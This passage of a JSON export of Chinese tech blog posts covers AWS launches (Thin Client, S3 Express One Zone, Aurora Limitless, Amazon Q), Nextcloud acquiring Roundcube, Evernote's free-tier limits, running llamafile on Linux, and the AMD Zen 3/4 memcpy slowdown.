company</a>」。\r\n\r\n報導裡面有提到，在併購前 VMware 自己就有在砍人了，不過併購完馬上就再砍，不太好看...\r\n\r\n還是如同之前提到的，看不太懂這個併購案的目的，看起來只是單純往軟體產業投資？因為 VMware 跟先前併購的 <a href=\"https://en.wikipedia.org/wiki/CA_Technologies\">CA Technologies</a> 與 <a href=\"https://en.wikipedia.org/wiki/Symantec_Corporation\">Symantec</a> 好像是沒有太直接可以拼湊起來的感覺...",
    "title": "Broadcom 在併購 VMware 後裁員"
  },
  {
    "id": "11490",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出自家的 <a href=\"https://aws.amazon.com/workspaces/thin-client/\">Amazon WorkSpaces Thin Client</a>：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-workspaces-thin-client/\">New Amazon WorkSpaces Thin Client provides cost-effective, secure access to virtual desktops</a>」。\r\n\r\n好久沒聽到這個詞彙了，翻了英文版維基百科「<a href=\"https://en.wikipedia.org/wiki/Thin_client\">Thin client</a>」，在 History 那個部分可以看到以前的各種方案，現在在網路速度比起十年前快不少的前提下，AWS 這次用雲端的基礎建設與一個便當盒搭配起來。\r\n\r\n不過... 還是有不少挑戰？\r\n\r\n一個主要的問題還是費用，這個機子要將近 $195 或是 $280 (如果要接第二個螢幕需要多買一個 Hub)，然後還有 $6/mo 的費用，以及 <a href=\"https://aws.amazon.com/workspaces/\">Amazon WorkSpaces</a> 的費用：\r\n\r\n<blockquote>Pricing – Devices are priced at $195, or $280 with an optional hub that allows you to use a second monitor. There’s a $6 per month fee to manage, maintain, and monitor each device, and you also pay for the underlying virtual desktop service.</blockquote>\r\n\r\n隨便翻了一下 <a href=\"https://www.amazon.com/\">Amazon</a> 上面的商品，用 <code>N100</code> 當關鍵字找機器，第一個結果就可以看到這台 $199 可以接兩個 4K/60Hz 的 <a href=\"https://en.wikipedia.org/wiki/HDMI\">HDMI</a> 的便當盒：「<a href=\"https://www.amazon.com/dp/B0C89TQ1YF\">Beelink Mini PC, Mini S12 Pro Intel 12th N100(4C/4T, Up to 3.4GHz), 16GB DDR4 500GB M.2 SSD, Mini Desktop Computer Support 4K@60HZ Dual HDMI Display/WiFi6/BT5.2/USB3.2/1000Mbps/LAN/WOL Micro PC</a>」。\r\n\r\n就算先把費用的部分放到一旁，如果管理成本有下降的話，應該也會是蠻多企業願意花錢的方向，但一般商用辦公室網路的穩定度應該會使得 Thin Client 的弊端遠大於利益？\r\n\r\n目前看起來比較像是 AWS 內某個 BU 找主題試看看...？",
    "title": "AWS 推出 Thin Client"
  },
  {
    "id": "11493",
    "body": "<a href=\"https://nextcloud.com/\">Nextcloud</a> 官方的公告在「<a href=\"https://nextcloud.com/blog/open-source-email-pioneer-roundcube-comes-aboard-nextcloud/\">Open source email pioneer Roundcube joins the Nextcloud family</a>」這邊，然後有新聞整理：「<a href=\"https://www.phoronix.com/news/Roundcube-Nextcloud\">Roundcube Open-Source Webmail Software Merges With Nextcloud</a>」，以及 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上對應的討論：「<a href=\"https://news.ycombinator.com/item?id=38457953\">Roundcube open-source webmail software merges with Nextcloud (phoronix.com)</a>」。\r\n\r\n居然看到 <a href=\"https://en.wikipedia.org/wiki/Roundcube\">Roundcube</a> 的新聞，這是個用 <a href=\"https://www.php.net/\">PHP</a> 寫的，頗老牌的 Webmail 系統了，翻了 <a href=\"https://en.wikipedia.org/\">Wikipedia</a> 上的資料，第一個 stable 居然是 2008 年？我以為應該更早，因為印象中當年交大的 D2 E-mail 系統在後來有用到...？\r\n\r\n後來的情況有點微妙，2015/2016 年的時候 Roundcube 搞了 crowdfunding 結果變成一場災難：\r\n\r\n<blockquote>On 3 May 2015, Roundcube announced, in partnership with Kolab Systems AG, that they planned to completely rewrite Roundcube and create Roundcube Next. A crowdfunding campaign was set up to finance the project. The goal of $80,000 was reached on June 24. The final amount raised was US$103,541.\r\n\r\nRoundcube Next was intended to include additional features like calendar, chat and file management. This was to be implemented using WebRTC and connectors from popular services like Dropbox and OwnCloud.\r\n\r\nHowever, Kolab Systems and Roundcube stopped development on the project in 2016, with no information or refunds provided to project backers, leading to a failed crowdfund. A Roundcube developer later claimed Roundcube had no ownership over the Roundcube Next campaign,[10] despite its public engagement and ownership on the crowdfund page.</blockquote>\r\n\r\n這次的情況從 Hacker News 上的討論也看得出來，大家對 Nextcloud 沒什麼好感，而且 Nextcloud 本身有個 <a href=\"https://apps.nextcloud.com/apps/mail\">Nextcloud Mail</a>，沒看懂到底是怎麼一回事...",
    "title": "Nextcloud 吃下 Roundcube"
  },
  {
    "id": "11494",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了以效能為導向的 <a href=\"https://aws.amazon.com/s3/storage-classes/express-one-zone/\">Amazon S3 Express One Zone</a>：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-s3-express-one-zone-high-performance-storage-class/\">Announcing the new Amazon S3 Express One Zone high performance storage class</a>」。\r\n\r\n從名字裡的 One Zone 可以看到這是只有在一個 AZ，主打超低 latency：\r\n\r\n<blockquote>The new Amazon S3 Express One Zone storage class is designed to deliver up to 10x better performance than the S3 Standard storage class while handling hundreds of thousands of requests per second with consistent single-digit millisecond latency, making it a great fit for your most frequently accessed data and your most demanding applications.</blockquote>\r\n\r\n但費用相當貴，以 <code>us-east-1</code> 來看的話是 $0.16/GB/mo，如果拿其他一些 storage 方案來比，可以看到非常大的差距：\r\n\r\n<ul>\r\n\t<li>S3 Standard：$0.023/GB/mo</li>\r\n\t<li>General Purpose SSD (gp3)：$0.08/GB/mo</li>\r\n\t<li>General Purpose SSD (gp2)：$0.1/GB/mo</li>\r\n</ul>\r\n\r\n可以猜測後面應該全是 NVM 之類的 storage (不過文章裡沒有提到)。\r\n\r\n這次的 Amazon S3 Express One Zone 也多出了很多特別的限制。\r\n\r\n首先是新的 bucket type，在這個 bucket type 下面 <code>ListObjectsV2</code> 呼叫就必須以 <code>/</code> 結尾 (這暗示後面的資料處理有對這點 optimization)，另外傳回的資料不保證順序了：\r\n\r\n<blockquote>The path delimiter must be “/“, and any prefixes that you supply to <code>ListObjectsV2</code> must end with a delimiter. Also, list operations return results without first sorting them, so you cannot do a “start after” retrieval.</blockquote>\r\n\r\n另外看起來是在 AZ 裡面直接認證，所以有新的 authentication model：\r\n\r\n<blockquote>The new CreateSession function returns a session token that grants access to a specific bucket for five minutes.</blockquote>\r\n\r\n然後 bucket naming 因為有後處理，在命名上不需要在整個 AWS 是唯一的 (因為被加料了)：\r\n\r\n<blockquote>Directory bucket names must be unique within their AWS Region, and must specify an Availability Zone ID in a specially formed suffix. If my base bucket name is <code>jbarr</code> and it exists in Availability Zone <code>use1-az5</code> (Availability Zone 5 in the US East (N. Virginia) Region) the name that I supply to CreateBucket would be <code>jbarr--use1-az5--x-s3</code>.</blockquote>\r\n\r\n另外資料還是可以在同一個 region 下跨 AZ 存取，而且同一個 region 下面的 compute resources (像是 <a href=\"https://aws.amazon.com/ec2/\">EC2</a>) 不收傳輸費用：\r\n\r\n<blockquote>Although the bucket exists within a specific Availability Zone, it is accessible from the other zones in the region, and there are no data transfer charges for requests from compute resources in one Availability Zone to directory buckets in another one in the same region.</blockquote>\r\n\r\n費用的部分還有個比較特別的但書，超過 512KB 的 request 會需要額外收費：\r\n\r\n<blockquote>You pay an additional per-GB fee for the portion of any request that exceeds 512 KB. For more information, see the Amazon S3 Pricing page.</blockquote>\r\n\r\n主要是給自己開發的應用程式用的，現有的 framework 大多都有利用 batch &amp; buffering 的技巧降低 latency 所帶來的效能影響。\r\n\r\n平常應該是用不太到，但就有個印象，真的在架構設計上跑不掉的時候有個選擇...",
    "title": "AWS 推出 Amazon S3 Express One Zone"
  },
  {
    "id": "11495",
    "body": "資料庫的部分，看到 <a href=\"https://aws.amazon.com/\">AWS</a> 在這次 <a href=\"https://reinvent.awsevents.com/\">re:Invent</a> 放出「<a href=\"https://aws.amazon.com/blogs/aws/getting-started-with-new-amazon-rds-for-db2/\">Getting started with new Amazon RDS for Db2</a>」與「<a href=\"https://aws.amazon.com/blogs/aws/join-the-preview-amazon-aurora-limitless-database/\">Join the preview of Amazon Aurora Limitless Database</a>」這兩則消息。\r\n\r\n首先是看到 <a href=\"https://en.wikipedia.org/wiki/IBM_Db2\">Db2</a> 這個詞覺得怪，查了以後發現原來是 2017 年改過名字正式的拼法：\r\n\r\n<blockquote>The brand name was originally styled as DB/2, then DB2 until 2017 and finally changed to its present form.</blockquote>\r\n\r\n這個消息比較像是補產品線，最大的資訊其實是查資料知道 2017 年改成 Db2...\r\n\r\n另外的新產品 Amazon Aurora Limitless Database 就比較特別了，我翻了一下先前的 <a href=\"https://aws.amazon.com/rds/aurora/serverless/\">Amazon Aurora Serverless</a>，是屬於利用 read replica 拓展「讀」的承載能力：\r\n\r\n<blockquote>Amazon Aurora Serverless is an on-demand, autoscaling configuration for Amazon Aurora. It automatically starts up, shuts down, and scales capacity up or down based on your application's needs.</blockquote>\r\n\r\n這次在 Amazon Aurora Limitless Database 裡面直接提到 sharding 技巧了，這就有機會拓展「寫」的承載能力：\r\n\r\n<blockquote>Shards are Aurora PostgreSQL DB instances that each store a subset of the data for your database, allowing for parallel processing to achieve higher write throughput. Transaction routers manage the distributed nature of the database and present a single database image to database clients.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1701311629-974a3222.webp\" /><img src=\"https://i.gslin.com/s/1701311629-974a3222.png\" alt=\"\" /></picture>\r\n\r\n這次 preview 推出的是 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 15 的版本：\r\n\r\n<blockquote>The preview runs in a new Aurora PostgreSQL cluster with version 15 in the AWS US East (Ohio), US East (N. Virginia), US West (Oregon), Asia Pacific (Tokyo), and Europe (Ireland) Regions.</blockquote>\r\n\r\n這代表 database schema 不要設計的太差，是蠻有機會讓 RDS 幫你處理 sharding 底層所有需要的細節？等後續價錢出來可以看看... (應該是 open/public preview 或是 open beta 的階段)",
    "title": "AWS 推出 RDS for Db2 以及 Amazon Aurora Limitless Database"
  },
  {
    "id": "11496",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/q/\">Amazon Q</a>，目前還在 preview 階段：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-q-brings-generative-ai-powered-assistance-to-it-pros-and-developers-preview/\">Amazon Q brings generative AI-powered assistance to IT pros and developers (preview)</a>」。\r\n\r\n產品本身主要就是 <a href=\"https://en.wikipedia.org/wiki/Large_language_model\">LLM</a> 的應用，以現在來說沒有太特別，主要是 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上大家在猜這個 Q 到底是取自哪裡：「<a href=\"https://news.ycombinator.com/item?id=38448137\">Amazon Q (Preview) (amazon.com)</a>」。\r\n\r\n看到有猜 <a href=\"https://en.wikipedia.org/wiki/Q_(Star_Trek)\">Q (Star Trek)</a>、<a href=\"https://en.wikipedia.org/wiki/Q-learning\">Q-learning</a> 以及 <a href=\"https://en.wikipedia.org/wiki/Q_(James_Bond)\">Q (James Bond)</a>。\r\n\r\n在 <a href=\"https://news.ycombinator.com/item?id=38448900\">id=38448900</a> 這邊有人提到 Q 是 question：\r\n\r\n<blockquote>from the NYTimes article: The name Q is a play on the word “question,” given the chatbot’s conversational nature, Mr. Selipsky said. It is also a play on the character Q in the James Bond novels, who makes stealthy, helpful tools, and on a powerful “Star Trek” figure, he added.</blockquote>\r\n\r\n找了一下應該是「<a href=\"https://www.nytimes.com/2023/11/28/technology/amazon-ai-chatbot-q.html\">Amazon Introduces Q, an A.I. Chatbot for Companies</a>」這篇文章，因為 paywall 的關係可能看不到全文，可以看 <a href=\"https://archive.today/\">archive.today</a> 這邊的 archive：「<a href=\"https://archive.is/x5DcP\">Amazon Introduces Q, an A.I. Chatbot for Companies</a>」。\r\n\r\n反正牽扯的到的都提一下...",
    "title": "Amazon Q (來猜名字的由來...)"
  },
  {
    "id": "11497",
    "body": "<a href=\"https://evernote.com/\">Evernote</a> 這次算是完全限縮了免費版的方案：「<a href=\"https://evernote.com/blog/evernote-free-note-limits\">Update: Evernote Free accounts will have fifty notes and one notebook</a>」。\r\n\r\n從 2023/12/04 開始限縮成一個 notebook 以及 50 個 note：\r\n\r\n<blockquote>From December 4, the Evernote Free experience is changing. Going forward, new and existing Free users will have a maximum of fifty notes and one notebook per account.</blockquote>\r\n\r\n從今年一月被併購後，二月就把整個 Evernote 團隊砍掉，就有蠻多人有悲觀的看法了，所以想轉的應該都已經轉的差不多了...\r\n\r\n常看到的替代方案是 <a href=\"https://notion.so/\">Notion</a> 以及 <a href=\"https://en.wikipedia.org/wiki/Obsidian_(software)\">Obsidian</a>，反而沒看到什麼 open source 的討論？(剛剛找了一下，是有不少選擇，但名字都沒看過...)",
    "title": "Evernote 限縮免費版的方案"
  },
  {
    "id": "11498",
    "body": "<a href=\"https://github.com/Mozilla-Ocho/llamafile\">llamafile</a> 是昨天很紅的一個專案，由 <a href=\"https://future.mozilla.org/mieco/\">Mozilla Internet Ecosystem</a> (MIECO) 弄出來的專案，可以使用一個檔案直接跑起大型語言模型的 HTTP server，讓你可以在瀏覽器裡面直接使用。\r\n\r\n直接看官方的 <code>README.md</code> 就可以蠻簡單的跑起來，不過 <a href=\"https://simonwillison.net/\">Simon Willison</a> 也有寫一篇文章介紹一下，可以看看：「<a href=\"https://simonwillison.net/2023/Nov/29/llamafile/\">llamafile is the new best way to run a LLM on your own computer</a>」。\r\n\r\n這邊說的「一個檔案」是指同一個檔案同時可以在 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Windows</a>、<a href=\"https://en.wikipedia.org/wiki/MacOS\">macOS</a>、<a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a>、<a href=\"https://en.wikipedia.org/wiki/FreeBSD\">FreeBSD</a>、<a href=\"https://en.wikipedia.org/wiki/OpenBSD\">OpenBSD</a> 以及 <a href=\"https://en.wikipedia.org/wiki/NetBSD\">NetBSD</a> 上面跑，而且這個檔案也把大型語言模型 (<a href=\"https://en.wikipedia.org/wiki/Large_language_model\">LLM</a>) 的 model 檔案包進去，所以檔案會蠻大的，但畢竟就是方便讓人使用：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1701377520-db7a0579.webp\" /><img src=\"https://i.gslin.com/s/1701377520-db7a0579.png\" alt=\"\" /></picture>\r\n\r\n下載下來直接執行，預設就會在 port 8080 跑起來，可以直接連到 <a href=\"http://127.0.0.1:8080/\">http://127.0.0.1:8080/</a> 連進去使用。\r\n\r\nllamafile 用到的技術是 <a href=\"https://github.com/jart/cosmopolitan\">Cosmopolitan</a> 專案，可以把多個平台的執行檔包在同一個檔案裡面使用。\r\n\r\n另外用到的專案是 <a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a>，這個蠻多人都用過了，可以很方便的用 CPU 或是 GPU 跑 LLM。\r\n\r\n我在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 上面跑剛好遇到幾個問題，都是在 <code>README.md</code> 上面有提到的。\r\n\r\n第一個是 <a href=\"https://en.wikipedia.org/wiki/Z_shell\">zsh</a> 無法直接跑 llamafile (Ubuntu 22.04 內建 zsh 的是 5.8.1)，這邊官方的建議是用 <code>sh -c ./llamafile</code> 避開：\r\n\r\n<blockquote>If you use zsh and have trouble running llamafile, try saying <code>sh -c ./llamafile</code>. This is due to a bug that was fixed in zsh 5.9+. The same is the case for Python <code>subprocess</code>, old versions of Fish, etc.</blockquote>\r\n\r\n另外一個對是 GPU 的支援，這邊跟你說加上 <code>--n-gpu-layers 35</code> 就可以用，所以一開始先用 <code>sh -c ./llamafile --n-gpu-layers 35</code> 試著跑：\r\n\r\n<blockquote>On Linux, Nvidia cuBLAS GPU support will be compiled on the fly if (1) you have the cc compiler installed, (2) you pass the <code>--n-gpu-layers 35</code> flag (or whatever value is appropriate) to enable GPU, and (3) the CUDA developer toolkit is installed on your machine and the nvcc compiler is on your path.</blockquote>\r\n\r\n但可以看到沒有被 offload 到 GPU 上面：\r\n\r\n<pre>llm_load_tensors: ggml ctx size =    0.11 MB\r\nllm_load_tensors: using CUDA for GPU acceleration\r\nllm_load_tensors: mem required  = 4165.47 MB\r\nllm_load_tensors: offloading 0 repeating layers to GPU\r\nllm_load_tensors: offloaded 0/35 layers to GPU\r\nllm_load_tensors: VRAM used: 0.00 MB</pre>\r\n\r\n嘗試了不同的方法，發現要跑 <code>sh -c \"./llamafile --n-gpu-layers 35\"</code>，也就是把參數一起包進去，這樣就會出現對應的 offload 資訊，而且輸出也快很多：\r\n\r\n<pre>llm_load_tensors: ggml ctx size =    0.11 MB\r\nllm_load_tensors: using CUDA for GPU acceleration\r\nllm_load_tensors: mem required  =   70.42 MB\r\nllm_load_tensors: offloading 32 repeating layers to GPU\r\nllm_load_tensors: offloading non-repeating layers to GPU\r\nllm_load_tensors: offloaded 35/35 layers to GPU\r\nllm_load_tensors: VRAM used: 4095.05 MB</pre>\r\n\r\n玩了一下像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1701378149-83133f8e.webp\" /><img src=\"https://i.gslin.com/s/1701378149-83133f8e.png\" alt=\"\" /></picture>",
    "title": "一個檔案直接跑起大型語言模型的 llamafile"
  },
  {
    "id": "11502",
    "body": "昨天寫了「<a href=\"https://blog.gslin.org/archives/2023/11/30/11494/aws-%e6%8e%a8%e5%87%ba-amazon-s3-express-one-zone/\">AWS 推出 Amazon S3 Express One Zone</a>」這篇，剛好跟朋友聊了一下 <a href=\"https://aws.amazon.com/s3/storage-classes/express-one-zone/\">Amazon S3 Express One Zone</a> 的用途...\r\n\r\n首先 Amazon S3 Express One Zone 這個產品的定位會是有多台機器需要存取同一包資料：如果是同一台機器要存取的話，放到 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 甚至是 local disk 上就好了。\r\n\r\n另外可以知道 Amazon S3 Express One Zone 主要的服務對象不會是靜態資料：靜態資料可以先把所有的資料打包成一大包，丟到標準的 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 上面跑，讓每一台機器下載下來，這樣 latency 的影響也會小很多。\r\n\r\n所以可以抓到產品的定位：會是有很多機器需要存取同一包資料，而且這包資料會不斷更新。\r\n\r\n但畢竟 Amazon S3 Express One Zone 還是要走 HTTPS 去跟 server 要資料，如果你在本地端使用 EBS 或是 local disk，latency 一定還是比較低；而且就程式的開發來說，比較直覺的方法還是在本地端直接弄一個 <a href=\"https://en.wikipedia.org/wiki/Ext4\">ext4</a> filesystem，然後跑很多 process 處理。\r\n\r\n(而且這樣還有使用記憶體做的 filesystem cache，加上 EBS 的儲存費用還比 Amazon S3 Express One Zone 便宜)\r\n\r\n所以 Amazon S3 Express One Zone 的定位又再被縮小到一台 EC2 instance 沒辦法完成上一段提到的情境。\r\n\r\n如果再把前幾天新推出的機器拿來看：「<a href=\"https://blog.gslin.org/archives/2023/11/28/11485/aws-%e6%8e%a8%e5%87%ba-32tb-ram-%e7%9a%84%e6%a9%9f%e7%a8%ae-u7in-32tb-224xlarge/\">AWS 推出 32TB RAM 的機種 u7in-32tb.224xlarge</a>」，這台新機器是 896 vCPU + 32TB RAM，代表你每跑 896 個 process (假設程式還沒用 threading 打散)，而每個 process 可以吃 36GB RAM...\r\n\r\n算過以後就會發現，這是個 scale up 可以暴力解很多問題的年代，只要你的演算法不是 [latex]n^2[/latex] 這類的 case...\r\n\r\n但回到這個產品的定位，從上面的推敲可以找出還是有對應的需求方，而且知道這是一個比較小眾的產品線，但遇到這種問題的人都會是大型客戶，這樣去思考為什麼會推出 Amazon S3 Express One Zone 就合理多了。",
    "title": "聊了一下 Amazon S3 Express One Zone 的用途..."
  },
  {
    "id": "11504",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38461249\">Jaq – A jq clone focused on correctness, speed, and simplicity (github.com/01mf02)</a>」這篇的時候，倒不是 <a href=\"https://github.com/01mf02/jaq\">jaq</a> 本身如何，而是在 <a href=\"https://news.ycombinator.com/item?id=38465712\">id=38465712</a> 裡面提到了 <a href=\"https://github.com/jqlang/jq\">jq</a> 的發展停滯了五年左右，但最近又恢復了：\r\n\r\n<blockquote>Well, taking into account that jq development has been halted for 5 years and only recently revived again, it's no wonder that bug reports have been sitting there for that time, both well known and new ones. I bet they'll get up to speed and slowly but surely clear the backlog that has built up all this time.</blockquote>\r\n\r\n然後下面有提到 <a href=\"https://github.com/jqlang/jq/issues/2305#issuecomment-1572634869\">https://github.com/jqlang/jq/issues/2305#issuecomment-1572634869</a> 這個，今年六月的時候開始重整團隊改善 <a href=\"https://en.wikipedia.org/wiki/Bus_factor\">bus factor</a>，加入更多新的 maintainer 進來。\r\n\r\n算是個好消息，朝向 community 的方式來發展...",
    "title": "jq 的開發狀況"
  },
  {
    "id": "11505",
    "body": "去年十二月蘋果對 <a href=\"https://en.wikipedia.org/wiki/IPhone_14\">iPhone 14</a> 開通了衛星 SOS 服務：「<a href=\"https://blog.gslin.org/archives/2022/11/16/10953/iphone-14-%E7%9A%84-emergency-sos-via-satellite-%E8%A1%9B%E6%98%9F%E6%B1%82%E6%95%91%E6%9C%8D%E5%8B%99-%E5%9C%A8%E5%8C%97%E7%BE%8E%E9%96%8B%E9%80%9A/\">iPhone 14 的 Emergency SOS via satellite (衛星求救服務) 在北美開通</a>」，然後蘋果決定延長一年：「<a href=\"https://www.apple.com/newsroom/2023/11/apple-extends-emergency-sos-via-satellite-for-an-additional-free-year/\">Apple extends Emergency SOS via satellite for an additional free year for existing iPhone 14 users</a>」。\r\n\r\n而且看起來已經開放到十六個區域了：\r\n\r\n<blockquote>Now also available on the iPhone 15 lineup in 16 countries and regions, this innovative technology — which enables users to text with emergency services while outside of cellular and Wi-Fi coverage — has already made a significant impact, contributing to many lives being saved. Apple today announced it is extending free access to Emergency SOS via satellite for an additional year for existing iPhone 14 users.</blockquote>\r\n\r\n在「<a href=\"https://support.apple.com/en-us/HT213426\">Use Emergency SOS via satellite on your iPhone</a>」這邊有找到目前開放的地區，算了一下的確是十六個：\r\n\r\n<blockquote>Emergency SOS via satellite is available in Australia, Austria, Belgium, Canada, France, Germany, Ireland, Italy, Luxembourg, the Netherlands, New Zealand, Portugal, Spain, Switzerland, the U.K., and the U.S.</blockquote>\r\n\r\n北美洲 (美加) 與大西洋洲 (紐澳) 沒什麼問題，不過歐洲那些區域看起來偏西歐，有點像是衛星訊號的涵蓋性，另外可能還有當地法規的問題？不然以義大利與奧地利的涵蓋範圍，摩納哥與斯洛維尼亞看起來應該也是可以被涵蓋的...",
    "title": "蘋果的衛星 SOS 服務對 iPhone 14 用戶免費延長一年"
  },
  {
    "id": "11507",
    "body": "前幾天 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上討論到的一篇：「<a href=\"https://news.ycombinator.com/item?id=38457247\">Rust std fs slower than Python? No, it's hardware (xuanwo.io)</a>」，原文則是在「<a href=\"https://xuanwo.io/2023/04-rust-std-fs-slower-than-python/\">Rust std fs slower than Python!? No, it's hardware!</a>」。\r\n\r\n原因是作者收到回報，提到一段 <a href=\"https://www.rust-lang.org/\">Rust</a> 寫的 code (在文章裡面的 <code>read_file_with_opendal()</code>，透過 <a href=\"https://github.com/apache/incubator-opendal\">OpenDAL</a> 去讀) 比 <a href=\"https://www.python.org/\">Python</a> 的 code 還慢 (在文章裡面的 <code>read_file_with_normal()</code>，直接用 Python 的 <code>open()</code> 開然後讀取)。\r\n\r\n先講最後發現問題是 <a href=\"https://en.wikipedia.org/wiki/Zen_3\">Zen 3</a> (桌機版 5 系列的 CPU) 與 <a href=\"https://en.wikipedia.org/wiki/Zen_4\">Zen 4</a> (桌機版 7 系列的 CPU) 這兩個架構上 <code>REP MOV</code> 系列的指令在某些情境下 (與 offset 有關) 有效能上的問題。\r\n\r\nFSRM 類的指令被用在 <code>memcpy()</code> 與 <code>memmove()</code> 類的地方，算是很常見備用到的功能，這次追蹤的問題發現在 <a href=\"https://en.wikipedia.org/wiki/Glibc\">glibc</a> 裡面用到導致效能異常。\r\n\r\n另外也可以查到在 <a href=\"https://www.kernel.org/\">Linux kernel</a> 裡面也有用到：「<a href=\"https://www.phoronix.com/news/Intel-5.6-FSRM-Memmove\">Linux 5.6 To Make Use Of Intel Ice Lake's Fast Short REP MOV For Faster memmove()</a>」，所以後續應該也會有些改善的討論...\r\n\r\n在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 這邊的 issue ticket 開在「<a href=\"https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/2030515\">Terrible memcpy performance on Zen 3 when using rep movsb</a>」這，上游的 glibc 也有對應的追蹤：「<a href=\"https://sourceware.org/bugzilla/show_bug.cgi?id=30995\">30995 &ndash; Zen 4: sub-optimal memcpy on very large copies</a>」。\r\n\r\n從作者私下得知的消息，因為 patch space 的大小限制，AMD 可能無法提供 CPU microcode 上的 patch，直接解決問題：\r\n\r\n<blockquote>However, unverified sources suggest that a fix via amd-ucode is unlikely (at least for Zen 3) due to limited patch space. If you have more information on this matter, please reach out to me.</blockquote>\r\n\r\n所以目前比較可行的作法是在 glibc 裡面使用到 FSRM 的地方針對 Zen 3 與 Zen 4 放 workaround，回到原來沒有 FSRM 的方式處理：\r\n\r\n<blockquote>Our only hope is to address this issue in glibc by disabling FSRM as necessary. Progress has been made on the glibc front: <a href=\"https://inbox.sourceware.org/libc-alpha/20231031200925.3297456-3-adhemerval.zanella@linaro.org/T/#m4f4458b8b16b0ee2bac1578f0383b10eee2312d8\">x86: Improve ERMS usage on Zen3</a>. Stay tuned for updates.</blockquote>\r\n\r\n另外在追蹤問題的過程遇到不同的情境，得拿出不同的 profiling 工具出來用，所以也還蠻值得看過一次有個印象：\r\n\r\n一開始的 <a href=\"https://docs.python.org/3/library/timeit.html\">timeit</a> 算是 Python 裡面簡單的 benchmark library：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1701570943-bb9d562b.webp\" /><img src=\"https://i.gslin.com/s/1701570943-bb9d562b.png\" alt=\"\" /></picture>\r\n\r\n接著的比較是用 command line 的工具 <a href=\"https://github.com/sharkdp/hyperfine\">hyperfine</a> 產生出來的 (給兩個 command 讓他跑)，查了一下發現在 Ubuntu 官方的 apt repository 裡面有包進去 (22.04+)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1701570976-33f67013.webp\" /><img src=\"https://i.gslin.com/s/1701570976-33f67013.png\" alt=\"\" /></picture>\r\n\r\n再來是用 <a href=\"https://en.wikipedia.org/wiki/Strace\">strace</a> 追問題，這個算是經典工具了，可以拿來看 <a href=\"https://en.wikipedia.org/wiki/System_call\">syscall</a> 被呼叫的時間點：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1701571109-cdf5f761.webp\" /><img src=\"https://i.gslin.com/s/1701571109-cdf5f761.png\" alt=\"\" /></picture>\r\n\r\n到後面出現了 <a href=\"https://en.wikipedia.org/wiki/Perf_(Linux)\">perf</a> 可以拿來看更底層的資訊，像是 CPU 內 cache 的情況：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1701571209-38b1c1aa.webp\" /><img src=\"https://i.gslin.com/s/1701571209-38b1c1aa.png\" alt=\"\" /></picture>\r\n\r\n接續提到的「hotspot ASM」應該也還是 perf 輸出的格式，不過不是那麼確定... 在「<a href=\"https://www.brendangregg.com/perf.html\">perf Examples</a>」這邊可以看到 function 的分析：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"\" /><img src=\"https://i.gslin.com/s/1701572425-490825ad.png\" alt=\"\" /></picture>\r\n\r\n而文章裡的則是可以看到已經到 assembly 層級了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1701572496-58c62ca2.webp\" /><img src=\"https://i.gslin.com/s/1701572496-58c62ca2.png\" alt=\"\" /></picture>\r\n\r\n差不多就這些...",
    "title": "AMD Zen 3 與 Zen 4 上 FSRM (Fast Short REP MOV) 的效能問題"
  },
  {
    "id": "11509",
    "body": "先前一直有在追蹤 <a href=\"https://trino.io/\">Trino</a> 的 <a href=\"https://en.wikipedia.org/wiki/High_availability\">HA</a> 方案：「<a href=\"https://github.com/trinodb/trino/issues/391\">High Availability #391</a>」，昨天看到有人更新消息，提到 <a href=\"https://github.com/trinodb/trino-gateway\">Trino Gateway</a> 這個專案，以及九月底的時候的公告：「<a href=\"https://trino.io/blog/2023/09/28/trino-gateway\">Trino Gateway has arrived</a>」。\r\n\r\n主要是從 <a href=\"https://github.com/lyft/presto-gateway\">Presto Gateway</a> 整理出來的：\r\n\r\n<blockquote>The release is the result of many, many months of effort to move the legacy Presto Gateway to Trino, start a refactor of the project, and add numerous new features.</blockquote>\r\n\r\n原始的 Presto Gateway 專案上面也已經標示後續請大家去看 Trino Gateway：\r\n\r\n<blockquote>NOTE: This is a legacy version of Trino Gateway. Please refer to https://github.com/trinodb/trino-gateway for active development and updates moving forward.</blockquote>\r\n\r\n然後 <a href=\"https://github.com/trinodb/trino-gateway/blob/main/docs/release-notes.md\">Release notes</a> 這邊可以看到前幾天又出一個新版了，看起來是有能量在專案上的。\r\n\r\n從「<a href=\"https://github.com/trinodb/trino-gateway/blob/main/docs/design.md\">Design</a>」這頁可以看到軟體本身分成 BaseApp、ProxyServer 與 Gateway 三個部分，架構面上可以看得出來是 Proxy 架構。\r\n\r\n從「<a href=\"https://github.com/trinodb/trino-gateway/blob/main/docs/references.md\">References</a>」這頁可以看到一些組織使用前身 Presto Gateway 的心得：\r\n\r\n<ul>\r\n\t<li><a 